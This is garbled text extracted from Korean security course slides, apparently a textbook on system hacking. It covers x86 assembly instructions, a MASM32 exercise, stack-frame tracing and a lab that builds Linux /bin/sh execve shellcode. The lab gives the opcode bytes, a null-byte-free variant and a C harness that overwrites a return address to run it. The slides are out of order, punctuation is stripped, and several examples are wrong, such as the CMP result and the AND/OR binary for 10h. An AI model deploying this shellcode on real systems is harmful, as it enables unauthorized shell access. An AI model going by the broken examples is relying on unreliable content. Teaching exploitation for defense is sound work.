실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 28: 80×86  시스템에 대한 이해

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

